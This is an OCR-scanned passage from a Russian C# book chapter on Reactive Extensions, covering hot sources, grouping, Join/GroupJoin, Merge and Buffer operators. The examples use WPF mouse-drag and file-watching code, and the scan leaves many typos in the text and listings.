WPF, нов! лом это могло бы быть любое настольное приложение для операциони системы Windows, которое записывает координаты при перетаскивая мыши с нажатой клавишей, и затем останавливает запись, когда кноп отпускают. Благодаря этому элемент, снимающий координаты, полу ет события о движении мыши до тех пор, пока не остановится прош 574
Реактивные расширения перетаскивания, даже если курсор будет двигаться над другими элемен- тами пользовательского интерфейса. Обычно элементы интерфейса при- нимают события о движении мыши, когда курсор находится над ними, даже если и не записывают их. Чтобы игнорировать такие события, оставляя лишь те передвижения, которые были сделаны с нажатой кла- вишей, я и воспользовался выражением where из листинга 11.16. Таким образом, чтобы этот код работал, мне нужно подключить обработчики (как те, что показаны в листинге 11.17) к событиям MouseDown и MouseUp, которые принадлежат соответствующим элементам. Листинг 11.17. Захват курсора мыши private void OnBackgroundMouseDown(object sender, MouseButtonEventArgs e) background.CaptureMouse (); I private void OnBackgroundMouseUp(object sender, MouseButtonEventArgs e) { if (Mouse.Captured == background) ( background.ReleaseMouseCapture(); } } Выражение select из листинга 11.16 работает одинаково и в библио- теке Rx, ив LINQto Objects, равно как и в любом другом LINQ-провайдере. Оно позволяет извлекать из исходных элементов конкретную информа- цию и использовать ее в качестве вывода. В данном случае mouseMoves является последовательностью объектов EventPattern<MouseEventArgs>, но в действительности мне нужен набор координат курсора. Поэтому выражение select в листинге 11.16 запрашивает позицию относительно заданного элемента пользовательского интерфейса. В результате запроса переменная dragPositions начинает ссылаться на последовательность значений типа Point, которая сообщает обо всех изменениях координат курсора, зафиксированных над конкретным эле- ментом пользовательского интерфейса моего приложения. Это горячий источник, так как он представляет нечто, происходящее в режиме ре- ального времени — а именно ввод при помощи мыши. LINQ-операторы фильтрации и проекции не меняют сущности источника, поэтому, если применять их к горячим или холодным источникам, полученные итого- вые запросы тоже будут, соответственно, горячими или холодными. 575
Глава 11 я ---------------------------------------------------* 4 Операторы не занимаются определением активности истой ника. Операторы where и Select просто передают этот асп<| далее. Каждый раз, когда вы подписываетесь на итоговый $ прос, произведенный оператором Select, запрос подключа^ ся к вводу источника. В данном случае в роли ввода выступа! источник, возвращенный оператором where, который, в сва очередь, подписан на другой источник, что получен в резу; тате записи событий, связанных с движением мыши. Подл савшись еще раз, вы создадите вторую цепочку подписок ! рячий источник будет транслировать все события для обе цепочек, поэтому каждый элемент дважды будет проходи через процесс фильтрации и проецирования. Так что имей в виду: подключение множества подписчиков к сложномуз просу в горячем источнике хоть»-и будет работать, но мои привести к лишним расходам ресурсов; если вам действ тельно нужно это сделать, лучше вызвать из запроса мет Publish, который, как вы уже видели ранее, способен транст ровать каждый элемент всем своим подписчикам, подключ к своему вводу всего один объект. В последней строчке в листинге 11.16 выполняется подписка отфильтрованный и спроецированный источник, а все значения ти Point, которые он выдает, добавляются в коллекцию Points, принад; жащую другому элементу пользовательского интерфейса под назван ем line. Это элемент типа Polyline, и здесь он не рассматривается*: ( нужен для того, чтобы вы могли рисовать линии в окне приложен! (Если вы уже давно занимаетесь разработкой для операционной сип мы Windows, то, вероятно, помните примеры приложения Scribble здесь используется практически тот же эффект.) Технология Rx предоставляет большинство стандартных оператор для выполнения запросов, которые были описаны в главе 10**. Большинство из них работает одинаково как в библиотеке Rx, т и в других реализациях LINQ. Но есть и такие, чье поведение, на перв! взгляд, может показаться немного неожиданным — об этом я рассказ в следующих нескольких разделах. * Данный фрагмент кода принадлежит WPF-приложению, которое вы можете: грузить целиком вместе с примерами для этой книги. ** Исключением являются операторы OrderBy и ThenBy, так как они имеют ад смысла в условиях активных источников. Они не могут ничего сгенерировать, пока увидят все входящие элементы. 576
Реактивные расширения Операторы группирования Стандартный оператор группирования, GroupBy, генерирует после- довательность последовательностей. При использовании расширения LINQ to Objects он возвращает значение типа lEnumerableciGrouping <ТКеу, TSource», а как вы уже знаете по главе 10, тип IGroupingCTKey, TSource> сам наследуется 0TSEEnumerablecTSource>. По тому же прин- ципу работает и оператор GroupJoin: он возвращает обычное значение IEnumerable<T>, но это Т является результатом выполнения функции проекции, которая передается в последовательность в качестве ввода. Поэтому так или иначе вы получаете результат, по сути являющийся последовательностью последовательностей. В мире реактивных расширений в результате группирования фор- мируется последовательность на основе интерфейса lObservable, состо- ящая из таких же последовательностей. Здесь мы имеем идеальную со- вместимость, но временной аспект, который вводится библиотекой Rx, может немного озадачить: общий для всех групп источник генерирует новый элемент (новую реализацию lObservable) во время обнаружения каждой следующей группы. В листинге 11.18 это проиллюстрировано на примере отслеживания изменений в файловой системе и группирова- ния их в зависимости от того, в какой папке они произошли. Для каждой группы мы получаем элемент типа IGroupedObservablecTKey, TSource> из библиотеки Rx, который является аналогом IGroupingCTKey, TSource>. Листинг 11.18. Группирование событий string path = Environment.GetFolderPath(Environment.SpecialFolder. MyDocuments) ; var w = new FileSystemWatcher(path); ZObservableCEventPatternCFileSystemEventArgs» changes = Observable. FromEventPatternCFileSystemEventHandler, FileSystemEventArgs> ( h => w.Changed += h, h => w.Changed -= h); w.IncludeSubdirectories = true; w.EnableRaisingEvents = true; IObservable<IGroupedObservable<string, string» folders = from change in changes group Path.GetFileName(change.EventArgs.FullPath) by Path.GetDirectoryName(change.EventArgs.FullPath); folders. Subscribe (f => ( 577
Глава 11 Console.WriteLine("Новая папка ({0})", f.Key); f.Subscribe(file => ’ Console.WriteLine("Файл изменился в папке {0}, {1}", f.Key, file)); }); Лямбда-выражение, подключающееся к группирующему источник (folders), подписывается на каждую группу, которую этот источники нерирует. Количество папок, где могут возникать события, не ограни чено, к тому же новые папки позволяется добавлять во время работ! программы. Таким образом, объект folders будет создавать новйеисточ ники при обнаружении изменений в каждой в папке, которую он раш ше не видел. Однако возникновение новой группы вовсе не означае что все предыдущие группы перестают работать — этим данный процес отличается от расширения LINQ to Objects. Когда вы запустите запро группирования для источника IEnumerable<T>, каждая группа, котору он сгенерирует, будет целиком заполненной, {ак что вы сможете пер брать все ее содержимое, прежде чем переходить к следующей. Но та нология Rx не позволяет этого делать, ведь каждая группа представлен источником типа lObservable, а он не завершает свою работу до тех по пока сам вам об этом не сообщит; следовательно, все групповые подш ски остаются активными. В листинге 11.18 вполне возможна ситуаци когда папка, для которой уже была запущена группа, надолго останетс в подвешенном состоянии, чтобы в какой-то момент опять начать раб( ту, тогда как активность будет возникать в других папках. В целом ото раторы группирования, предоставляемые технологией Rx, должны бьп готовы к тому, что такое может произойти с любым источником. Операторы объединения Библиотека Rx предоставляет стандартные операторы Joi и Group Join. Однако они работают немного не так, как это делается в ра( ширении LINQ to Objects или при выполнении объединений в LIN( провайдерах для баз данных. Там элементы из двух входных наборе обычно объединяются, исходя из какого-то общего значения. Для 6j данных типичной является ситуация, когда объединение двух табли выглядит как слияние строк, где столбец с внешним ключом в стро1 одной таблицы имеет то же значение, что и столбец с первичным клм чом в строке другой таблицы. Однако в библиотеке Rx объединения i основаны на значениях.^место этого объединяются элементы, возник ющие одновременно — они будут объединены, если сроки их действв пересекаются. 578
Реактивные расширения Но подождите... какой именно продолжительностью работы облада- ет элемент? В технологии Rx используются мгновенные события; гене- рирование элемента, сообщение об ошибке, завершение потока — все это происходит в какой-то определенный момент. Потому операторы объе- динения соблюдают следующее условие: для каждого исходного элемен- та можно предоставить функцию, которая возвращает IObservable<T>. Время работы для такого исходного элемента начинается в момент его возникновения и заканчивается, когда проявляет активность соот- ветствующая реализация IObservable<T> (она может либо завершить ра- боту, либо сгенерировать элемент, либо сообщить об ошибке). Эта идея проиллюстрирована на рис. 11.2. Вверху находится источник, под ним изображены другие источники, определяющие время активности каж- дого элемента. В самом низу я изобразил продолжительность работы, которую для исходных элементов устанавливают назначенные^тм ис- точники IObservable<T>. Источники для каждого элемента Продолжительность Рис. 11.2. Определение длительности для каждого исходного элемента при помощи реализации IObservable<T> Kafk видно из рис. 11.2, вы можете возвращать разные экземпляры IObservable<T> для каждого исходного элемента, но вам не обязатель- но это делать — каждый раз можно использовать один и тот же источ- ник. Например, если применить оператор группирования к источнику IObservable<T>, который представляет поток событий MouseDown, и за- тем использовать для определения продолжительности работы каждого элемента еще одну реализацию IObservable<T>, представляющую со- бытия того же типа, то это заставит библиотеку Rx думать, что «вре- мя активности» каждого имеющегося объекта MouseDown длится до тех пор, пока не возникает новое событие. Схема этого процесса показана на рис. 11.3 — вы можете видеть, что реальное время работы каждого собы- тия типа MouseDown, обозначенное внизу, представлено в виде сочетания событий MouseDown и MouseUp. 579
Глава 11 MouseUp Продолжительность | | | | | | Рис. 11.3. Определение длительности при помощи двух потоков событий Источник также способен определить свое время работы. Напри* мер, если у вас есть экземпляр IObservable<T>, представляющий собы* тия MouseDown, вам может понадобиться сделать так, чтобы время работ! текущего элемента завершалось вместе с началом работы следующего; Это будет означать, что интервалы активности двух элементов сопри- касаются — после того как произойдет первое событие, мы всегда буде^ иметь только один текущий элемент, и он всегда будет последним сгоне* рированным (рис. 11.4). 1 MouseMove Продолжительность ;_______' _______'_______ ' '____1____ ж событий III I 1111 MouseMove Рис. 11.4. Элементы со смежным временем работы I Интервалы активности элементов иногда перекрываются. При жела^ нии вы можете применить интерфейс IObservable<T> с поддержкой хро^ нометража, сигнализирующий о том, что период активности входной» элемента заканчивается через некоторое время после того, как появится следующий элемент. Теперь мы знаем, каким образом библиотека Rx определяет врем! работы элемента, для того чтобы совершить объединение, но как она ио пользует эту информацию? Как вы помните, операторы объединени! совмещают два входных потока. (Источники, определяющие хрономе» траж, к таковым не причисляются. Они просто предоставляют допо^ нительную информацию об одном из потоков.) Библиотека Rx счит» ет связанными два элемента из разных входящих потоков, если врем! их работы пересекается. То, как она представляет связанные элемент! в исходящих потоках, зависит от используемого вами оператора - Joii или GroupJoin. Исходящий поток оператора Join содержит один элемей из каждой связанной пары. (Вы предоставляете функцию проекции, ко торая будет передана каждой паре, и вам решать, что вы будете делап 580
Реактивные расширения с этими элементами. Данная функция определяет тип исходящих эле- ментов для объединенного потока.) На рис. 11.5 показаны два входящих потока, каждый из которых основан на событиях и соответствующем времени работы. Это похоже на источники, изображенные на рис. 11.3 и 11.4, но здесь я добавил буквы й^Гифры, чтобы было проще ссылаться на элементы в потоках. Внизу диаграммы находится источник, который будет сгенерирован для потоков оператором Join. MouseUp | MouseMove Продолжительность событий MouseDown Продолжительность событий MouseMove Вывод Рис. 11.5. Оператор Join Как вы можете видеть, везде, где время работы двух элементов из входящих потоков пересекается, мы получаем исходящий элемент, ко- торый сочетает в себе два входящих. Если пересекающиеся элементы начали свою работу в разное время (что обычно и происходит), то ис- ходящий элемент возникает в момент, когда стартует последний из двух входящих потоков. Событие MouseDown А срабатывает раньше, чем со- бытие MouseMove 1, поэтому итоговый вывод А1 появляется в момент на- чала пересечения (то есть когда срабатывает MouseMove 1). Но событие 3 возникает перед событием В, поэтому объединенный вывод появляет- ся, когда стартует В. Событие 5 не пересекается ни с одним элементом MouseDown, потому мы не видим таких элементов в исходящем потоке. С другой стороны, событие MouseMove могло бы проявиться в несколь- ких исходящих элементах (так, как это происходит с MouseDown). Если б не было события 3, событие 2 начиналось бы внутри А и заканчивалось внутри В, и тогда на рис. 11.5 наряду с А2 присутствовало бы событие В2, которое начиналось бы вместе с В. В листинге 11.19 представлен код, выполняющий объединение, про- иллюстрированное на рис. 11.5, используя выражение запроса. Как вы 581
Глава 11 ----------------------------------------------------------------, уже знаете из главы 10, компилятор превращает выражения запросу в набор обращений к методам. В листинге 11.20 показан эквивалент^ проса Из листинга 11.19, основанный на методах. $ t Листинг 11.19. Выражение запроса, содержащее объединение I0bservable<EventPattern<MouseEventArgs>> downs = 4 Observable. FromEventPattern<MouseEventArgs> (background, "MouseDown"); )( I0bservable<EventPattern<MouseEventArgs>> ups = j Observable.FromEventPattern<MouseEventArgs>(background, "MouseUp"^} I0bservable<EventPattern<MouseEventArgs>> allMoves = Observable.FromEventPattern<MouseEventArgs>(background, "MouseMove"); IObservable<Point> dragPositions = from down in downs join move in allMoves on ups equals allMoves / select move.EventArgs.GetPosition(background); Листинг 11.20. Объединение, выполненное в коде IObservable<Point> dragPositions = downs.Join( allMoves, * down => ups, move => allMoves, (down, move) => move.EventArgs.GetPosition(background)); Мы можем использовать источник dragPositions из этих двух при меров, чтобы заменить им тот, что применялся в листинге 11.6. Hai больше не нужен фильтр, проверяющий, захватил ли элемент backgroum координаты курсора, так как теперь библиотека Rx предоставляет на] только те события движения, время работы которых пересекается с мо ментом нажатия кнопки мыши. Любые передвижения, произошедши между нажатиями кнопок, будут либо проигнорированы, либо переда ны в момент самого нажатия, если последнее движение совершилось д( того, как нажали кнопку мыши. J Оператор Group Join объединяет элементы похожим образом, но вме сто создания единого экземпляра lObservable он генерирует источнш содержащий другие источники. Если мы возьмем текущий пример, и это будет означать, что его исходящий поток генерирует источник дл| каждого входящего события типа MouseDown. Результат имел бы тако| же время работы, как данное входящее значение, и состоял бы из все! пар, в которых оно встречается. На рис. 11.6 этот оператор показа| 582 1
Реактивные расширения в действии, при этом используются те же входящие события, что и на рис. 11.5. Завершение всех исходящих последовательностей я обозначил вертикальными линиями, чтобы было понятно, где они останавливают- ся. Начало и конец работы этих источников находятся прямо напротив интервала активности соответствующего входного потока, потому часто они завершаются через какое-то время после того, как сгенерируют свой последний исходящий элемент. MouseUp MouseDown НЭ ® © Продолжительность событий MouseDown MouseMove Продолжительность событий MouseMove Группы вывода Рис. 11.6. Оператор GroupJoin В целом при использовании технологии LINQ оператор GroupJoin способен выдавать пустые группы, поэтому, в отличие от Join, он бу- дет создавать по одному исходящему потоку для каждого элемента из первого входящего потока, даже если в других потоках не найдется со- ответствующих элементов. Версия оператора GroupJoin из библиотеки Rx работает таким же образом, привнося временной аспект. Каждая исходящая группа стартует в тот момент, когда происходит связанное с ней входящее событие (в данном примере — MouseDown), и заканчива- ется, когда событие считается завершенным (в нашем случае это появ- ление следующего события MouseUp); если за прошедшее время не было никаких движений, данный источник не сгенерирует ни одного элемен- та. Подобное может произойти только перед фиксированием первого движения, так как здесь периоды активности событий, описывающих движение, граничат друг с другом. Однако в случаях, когда при объеди- нении вторая пара входящих элементов не соприкасается по времени, более вероятно возникновение пустых групп. 583
Глава 11 Этот сгруппированный вывод может пригодиться в моем демонсгра ционном приложении, которое позволяет рисовать в окне при помонц мыши, так как он представляет каждое перетаскивание в виде отдель ного объекта. Это означает, что я могу начертить линию посредство! перетаскивания, а не формировать ее постепенно из точек. Если исполь зовать код из листинга 11.16, то каждая очередная операция перетаски вания будет рисовать черту до новой точки с того места, где закончилаа предыдущая линия, что исключает возможность создания отдельна фигур. Но раздельного начертания легко добиться при помощи струп пированного вывода. В листинге 11.21 выполняется подписка на струп пированный вывод, а для каждой новой группы (представляющей оче редную операцию перетаскивания) создается новый объект Polyline который отображает нарисованное. После этого производится подписи на элементы группы для заполнения отдельно взятой линии. Листинг 11.21. Добавление новой линии при каждой операции перетаскивания var dragPointSets = from mouseDown in downs * join move in allMoves on ups equals allMoves into m select m.Select(e => e.EventArgs. GetPosition(background)); dragPointSets.Subscribe(dragPoints => { var currentLine = new Polyline { Stroke = Brushes.Black, StrokeThickness = 2 }; background.Children.Add(currentLine); dragPoints.Subscribe(point => ( currentLine.Points.Add(point); }); }); Просто чтобы вам было понятно, этот код работает в режиме ре ального времени даже с использованием оператора объединения - во тамошние источники горячие. Объект IObservable<IObservable<Po nt», возвращенный методом GroupJoin из листинга 11.21, будет гене рировать новые группы в момент нажатия кнопки мыши. Источник IObservable<Point> из этих групп будут сразу же создавать новые обь екты Point для каждого события MouseMove. В результате пользовател увидит, как при перетаскивании мыши сразу же появляется линия. 584
Реактивные расширения Оператор SelectMany Как вы уже видели в главе 10, оператор SelectMany фактически делает из коллекции коллекций «плоскую» версию. Он применяется, когда за- прос содержит несколько выражений from — а с точки зрения технологии LINQ to Objects это то же самое, что иметь вложенные циклы foreach. Данный оператор обладает «выравнивающим» эффектом и в случае библиотеки Rx — он позволяет взять источник, каждый элемент кото- рого сам является источником (или может использоваться для генери- рования таковых), и в итоге получить единую последовательность типа lObservable, которая будет содержать все элементы из всех дочерних ис- точников. Но, как и в случае с группированием, результат получается не таким аккуратным, как при использовании расширения LINQ to Objects. Благодаря активной природе библиотеки Rx и ее потенциалу в плане вы- полнения асинхронных операций, все задействованные источники полу- чают возможность одновременно сигнализировать о новых элементах — то же касается и исходного источника, который содержит все вложенные реализации lObservable. (Оператор SelectMany все равно следит за тем, чтобы в каждый отдельный момент времени доставлялось не более одно- го сообщения — вызывая метод OnNext, он ждет, когда тот вернет резуль- тат, а потом уже делает следующий вызов. Хаос может случиться только в том случае, если перепутать порядок доставки событий.) Когда вы перебираете неоднородный массив при помощи расширения LINQ to Objects, все происходит в строгом порядке. Сначала извлекается первый вложенный массив, затем перебираются все его элементы, после чего мы переходим к перебору элементов второго вложенного массива и т. д. Но это «выравнивание» выполняется упорядоченно лишь потому, что интерфейс IEnumerable<T>, который является потребителем элемен- тов, сам может решать, когда и какой элемент извлекать. При использо- вании технологии Rx подписчики получают элементы тогда, когда источ- ники им их предоставляют. Несмотря на свободный доступ, этот процесс достаточно простой: исходящий поток, созданный оператором SelectMany, выдает элементы в тот же момент, когда они поступают из источников. Операторы агрегации и другие операторы, возвращающие единичное значение Некоторые стандартные LINQ-операторы сводят целую после- довательность элементов к одному значению. Это относится к опера- торам агрегации, таким как Min, Sum и Aggregate, кванторам Any и АН 585
Глава 11 и оператору Count. Сюда также входят выборочные операторы, такие как ElementAt. Все они доступны в библиотеке Rx, но в отличие от реа- лизаций, которые предоставляются технологией LINQ, эти версии не .возвращают простые одиночные значения. Как и те операторы, что выдают на выход последовательность, они генерируют объекты типа IObservable<T>. I • * Операторы First, Last, FirstOrDefault, LastOrDefault, Single и SingleOrDefault должны работать по тому же принципу, но — tXy в силу исторических причин это не так — они появились в би- блиотеке Rx версии 1, и возвращают одиночные значения; это приводит к тому, что они выполняют блокирование до тех пор, пока источник не предоставит то, что им нужно. Подоб- ное поведение не очень хорошо вписывается в модель актив- ных источников и может приводить к взаимным блокировкам, поэтому в настоящее время данные операторы считаются устаревшими, а вместо них применяются асинхронные вер- сии, работающие по аналогии с операторами из библиотеки Rx, о которых идет речь в этой главе. Достаточно добавить ь к названиям старых операторов суффикс Async (например, FirstAsync, LastAsync И T. Д.). Каждый из этих операторов по-прежнему генерирует единичное зна- чение, но все они представляют его в виде источника типа lObservacle. Причина в том, что, в отличие от расширения LINQ to Objects, библио- тека Rx не может пройтись по своему вводу, чтобы вычислить суммарное значение или найти элемент, который был выбран. Контроль находится у источника, поэтому версии данных операторов, предоставляемые би- блиотекой Rx, должны ждать, пока он не выдаст свои значения - опе- раторы, возвращающие единичное значение, как и все прочие, должны реагировать на события, а не сами их вызывать. Операторы, которым нужно знать все значения (например, Average), не могут вернуть ре- зультат, пока источник не сообщит о завершении своей работы. Дажете операторы, которым не обязательно ждать окончания ввода, такие как FirstAsync или ElementAt, все равно не могут ничего сделать, пока источ- ник не решит предоставить им значения, которых они ждут. Как только такой оператор получает возможность предоставить значение, он это де- лает, после чего завершает свою работу. Операторы ToArray, ToList, ToDictionary и ToLookup действуют exo жим образом. Хотя они выдают все содержимое источника, оно пред- j 586
Реактивные расширения ставляется в виде единичного исходящего объекта, который является оберткой типа lObservable с одним элементом. Если вы действительно хотите сидеть и ждать значение любого из этих элементов, можете воспользоваться нестандартным оператором Wait, специфичным для библиотеки Rx, который доступен для любых экземпляров интерфейса IObservable<T>. Этот блокирующий оператор ждет завершения работы источника, и только потом возвращает итого- вый элемент, потому принцип «посидеть и подождать», свойственный устаревшим операторам First, Last и т. д., все еще доступен, просто те- перь он не используется по умолчанию. В качестве альтернативы вы мо- жете применить асинхронные возможности языка C# 5.0, пометив ис- точник ключевым словом await. Оно делает то же самое, что и оператор Wait, но эффективно, с использованием неблокирующей асинхронной манеры, описанной в главе 18. Технология Rx не поддерживает версии операторов Average, Sum, Min и Мах, принимающие проекции в виде лямбда-выражений. Вы можете использовать их только с теми источниками, которые производят значе- ния одного из стандартных числовых типов. Тем не менее функциональ- ность версий, основанных на проекциях, легко воссоздается при помо- щи оператора Select. Вы можете поместить проекцию в не^о, а результат передать соответствующему оператору, как показано в листинге 11.22. Листинг 11.22. Оператор Average, использующий проекцию static 10bservable<double> AverageX(IObservable<Point> points) { return points.Select (p => p.X) .Average(); Оператор конкатенации Оператор Concat из состава библиотеки Rx действует по тому же принципу, что и другие его реализации, предоставляемые технологией LINQ: он объединяет две входящие последовательности, чтобы сгене- рировать третью, которая будет выдавать все элементы из первого по- тока, а потом из второго. (На самом деле библиотека Rx идет дальше, чем некоторые LINQ-провайдеры — она способна принять коллекцию входных потоков и затем их объединить.) Это может пригодиться толь- ко в том случае, если первый поток когда-нибудь заканчивается — разу- меется, то же самое справедливо и для расширения LINQ to Objects, но 587
Глава 11 бесконечные потоки более характерны для Rx. Также имейте в виду, что этот оператор не подписывается на второй поток, пока первый не закон- чйт свою работу. Причина в том, что холодные потоки обычно начинают генерировать элементы в момент, когда вы на них подписываетесь, по- тому, пока оператор Concat ждет завершения работы первого источника, он не должен буферизировать элементы из второго. Это означает, что при работе с горячим источником оператор Concat может выдавать неде- терминированные результаты. (Если вам нужен источник, который со- держит все элементы из второго горячего потока, используйте оператор Merge — о нем я скоро расскажу) Но библиотека Rx не ограничивается предоставлением стандартных LINQ-операторов, а определяет и множество собственных. Операторы запросов из Состава библиотеки Rx Одной из главных задач технологии Rx является упрощение работы с множественными, потенциально независимыми источниками, которые генерируют элементы в асинхронном режиме. Иногда создатели Rx упо- минают «дирижирование и синхронизацию», имея в виду, что в вашей системе может одновременно происходить много разных вещей, но вам при этом необходимо достичь определенной степени согласованности в том, что касается реакции вашего приложения на события. Многие опе- раторы из состава библиотеки Rx спроектированы с учетом этой задачи. Не все в этом разделе подчиняется уникальным требованиям 4 ш технологии Rx. Несколько нестандартных операторов из со- Постава данной библиотеки (например, Scan) прекрасно подхо- i дят для использования в рамках других LINQ-провайдеров. Библиотека Rx имеет настолько богатый ассортимент операторов^ что для их надлежащего рассмотрения главу пришлось бы увеличит} раза в четыре, а она и так уже довольно длинная. Учитывая, что эта книь га не об Rx и что некоторые операторы имеют довольно узкое назначен ние, я просто выберу самые полезные из них. Я советую ознакомит^ ся с документацией к данной библиотеке, чтобы исследовать широки! и чрезвычайно разносторонний набор операторов, которые она пред! ставляет. I 588 I
Реактивные расширения Оператор Merge Оператор Merge объединяет все эдементы из двух или более после- довательностей в одну. С его помощью я мог бы исправить проблему, проявляющуюся в листингах 11.16,11.19 и 11.21. Все они обрабатывают ввод с мыши, и если у вас есть большой опыт программирования поль- зовательских интерфейсов для операционной системы Windows, то вы должны знать, что уведомления о передвижении курсора не всегда по- ступают в тех точках, где нажимается и отпускается кнопка мыши. Уве- домления об этих событиях, связанных с нажатиями кнопок, содержат информацию о координатах курсора, потому система Windows не видит необходимости отправлять отдельное сообщение о передвижении с ко- ординатами, чтобы не пересылать одни и те же данные два раза. Это со- вершенно логично, но действует на нервы*. Начальные и конечные ко- ординаты отрезка не находятся в том источнике, который представляет позицию курсора в вышеупомянутых примерах. Я могу решить эту про- блему, объединив координаты из всех трех событий. В листинге 11.23 показано, как исправить листинг 11.16. Листинг 11.23. Объединение источников I0bservable<EventPattern<MouseEventArgs>> downs = Observable.FromEventPattern<MouseEventArgs>(background, "MouseDown"); I0bservable<EventPattern<MouseEventArgs>> ups = Observable.FromEventPattern<MouseEventArgs>(background, "MouseUp"); I0bservable<EventPattern<MouseEventArgs>> allMoves = Observable.FromEventPattern<MouseEventArgs>(background, "MouseMove"); IObservable<EveiytPattern<MouseEventArgs» dragMoves = from move in allMoves where Mouse.Captured == background select move; IObservable<EventPattem<MouseEventArgs» allPositionEvents = Observable. Merge (downs, ups, dragMoves); IObservable<Point> dragPositions = from move in allPositionEvents select move.EventArgs.GetPosition(background); Я создал три источника типа lObservable, чтобы представить три соответствующих события: MouseDown, MouseUp и MouseMove. Поскольку у них должна быть общая проекция (выражение select), но в фильтра- > * Как и некоторые разработчики. 589
Глава 11 ции событий нуждается только один из них, я немного поменял код. Так как фильтровать нужно только движения мыши, я написал для этого отдельный запрос. Затем я использовал метод Observable.Merge, чтобы объединить все три потока событий в один. Оператор Merge доступен как в виде метода расширения, так .ив качестве обычного статического метода. Если использо- вать методы расширения из одного источника, т^доступными будут только те перегруженные версии Merge, которые объеди- няют этот источник с еще одним (возможно, с указанием пла- нировщика). В данном случае у меня есть три источника, пото- му я и воспользовался вариантом без методов расширения. Но если у вас есть выражение, которое является либо перечисле- нием источников, либо реализацией zobservable, содержащей другие источники, вы увидите/что для таких ситуаций также предусмотрены методы расширения Merge. Поэтому я мог бы написать следующее: new [] { downs, ups, dragMoves }.Merge(). Моя переменная allPositionEvents ссылается на единый поток, ко- торый будет сообщать обо всех перемещениях курсора, интересующих меня. В конце я пропускаю этот результат через проекцию, чтобы из- влечь координаты курсора для каждого элемента. И снова в итоге я по- лучаю горячий поток. Как и прежде, он генерирует координаты при каждом движении курсора над элементом background, который эти ко- ординаты захватывает; но теперь он выдает позицию курсора еще и при возникновении событий MouseDown и MouseUp. Я могу подписаться на этот поток при помощи того же вызова, который показан в заключительной строчке листинга 11.16, чтобы поддерживать мой пользовательский ин- терфейс в актуальном состоянии, и на этот раз я не пропущу начальные и конечные координаты. В примере, только что продемонстрированном мною, все источники работают бесконечно, но в ряде ситуаций это не так. Что должен сделать! объединенный источник, если один из его входящих потоков остано-| вился? Ошибка, в результате которой такое может случиться, пройдет] через объединенный источник, что вызовет завершение его работы -| источник типа Observable не может продолжать генерировать элементы] после сообщевдядэб ошибке. Действительно, входящий поток способен! в одностороннем порядке прервать вывод из-за сбоя, но если ввод за-1 вершается в обычном режиме, то объединенный источник продолжает! работать до тех пор, пока не закончатся все его входящие потоки. I 590 I
Реактивные расширения Оконные операторы Библиотека Rx содержит два оператора; BiTf fer {англ, буфер) и Window (англ, окно), которые генерируют исходящий поток, где каждый элемент основан на множестве других смежных элементов, взятых из источника (к слову название «Window» и термин «оконный» не имеют никакого от- ношения к пользовательским интерфейсам). На рис. 11.7 показано три способа применения Buffer. Я пронумеровал кружки, символизирую- щие элементы во входящем потоке; под ними находятся другие кружки, обозначающие элементы, которые появляются из источника, сгенери- рованного оператором Buffer; линии и числа указывают на то, с каким исходящим элементом связаны входящие. Как вы вскоре увидите, опе- ратор Window работает похожим образом. Input Buffer(2,2) Input Buffer(3,1) Рис. 11.7. «Раздвигание окон» при помощи оператора Buffer В первом примере я передал аргументы (2, 2), сигнализируя тем самым, что хочу, чтобы каждый исходящий элемент соотносился с дву- мя входящими, и чтобы новый буфер начинал работу для каждого вто- рого входящего элемента. Может показаться, что я говорю об одном и том же, только разными словами. Но посмотрите на второй пример на рис. 11.7: аргументы (3, 2) говорят, что каждый исходящий элемент 591
Глава 11 соотносится с тремя входящими, хотя мне по-прежнему нужно, чтоб1 буфер стартовал на каждом втором входящем элементе. Это означая что каждое окно — набор элементов из входящего потока, при помощ которых формируется исходящий элемент, — пересекается со своим соседями. Такое будет происходить каждый раз, когда второй аргумент шаг, окажется меньше окна. Окно первого исходящего элемента соде; жит первый, второй и третий элементы входящего потока. Окно второг исходящего элемента содержит третий, четвертый и пятый элементь поэтому третий элемент появляется и там, и там. В последнем примере, изображенном на рисунке, окно ^меет разме трех элементов, но теперь я попросил, чтобы шаг был одинарным, - пс этому в данном случае окно передвигается только на один элемент з раз, а объединяет сразу три. Я могу сделать так, чтобы шаг был больше чем окно, тогда входящие элементы, попадающие между окнами, окз жутся просто проигнорированы. Операторы Buffer и Window способствуют возникновению задер жек. Во втором и третьем примерах тройной размер окна означал, чт входящие источники должны выдавать свое каждое третье значени до того, как все окно целиком будет предоставлено для исходник го элемента. В случае с оператором Buffer подобное всегда приводи к задержкам размером с окно, но, как вы вскоре увидите, благодар оператору Window любое окно можно задействовать до того, как оно на полнится. Операторы Buffer и Window отличаются тем, как в сгенерированны ими источниках представлены элементы, попадающие в окно. Ош ратор Buffer действует проще всего. Он предоставляет реализацю IObservable<IList<T>>, где Т — тип входящего элемента. Иными словами, если вы подпишетесь на исходящий поток оператс pa Buf f er, то при создании каждого окна вашему подписчику будет пер даваться список со всеми его элементами. В листинге 11.24 этот подха используется для «сглаживания» данных о координатах курсора, пол] ченных в листинге 11.16. Листинг 11.24. Сглаживание входящего потока при помощи оператора Buffer IObservable<Point> smoothed = from points in dragPositions.Buffer(5, 2) let x = points.Average(p => p.X) let у = points.Average(p => p.Y) select new Point (x, y); 592
Реактивные расширения Первая строчка в этом запросе говорит о том, что я хочу увидеть группу из пяти последовательных координат курсора мыши и одну группу для любого другого ввода. Остальная часть запроса вычисляет среднюю позицию курсора внутри окна и возвращает ее в качестве ис- ходящего элемента. Результат показан на рис. 11.8. Верхняя линия является результатом применения необработанных координат курсора мыши. Линия, которая находится чуть ниже, использует сглаженные координаты, сгенериро- ванные из того же входящего потока, описанного в листинге 11.24. Как вы можете видеть, верхняя линия довольно шероховатая, а в нижней многие неровности сглажены. Рис. 11.8. Сглаживание в действии В листинге 11.24 используется сочетание расширения LINQ to Objects и реализации LINQ из библиотеки Rx. Само выражение за- проса применяет технологию Rx, но переменная диапазона, points, имеет тип IList<Point> (так как в этом примере буфер возвращает IObservable<IList<Point>>). Потому вложенные запросы, которые при- меняют оператор Average для переменной points, получат реализацию из расширения LINQ to Objects, что позволит мне использовать фор- му записи, где проекция принимается в виде лямбда-выражения (как видно, здесь я rfe использую библиотеку Rx, потому что ее реализация оператора Average этого не поддерживает). Входящий поток оператора Buffer — горячий, в результате чего он генерирует горячий источник типа lObservable. Так что вы могли бы подписаться на источник в переменной smoothed из листинга 11.24, ис- , пользуя тот код, который находится в заключительной строчке листин- га 11.16 — это позволило бы получатьть сглаженную линию при пере- таскивании мыши в режиме реального времени. Как уже говорилось выше, вы получите небольшую задержку — в 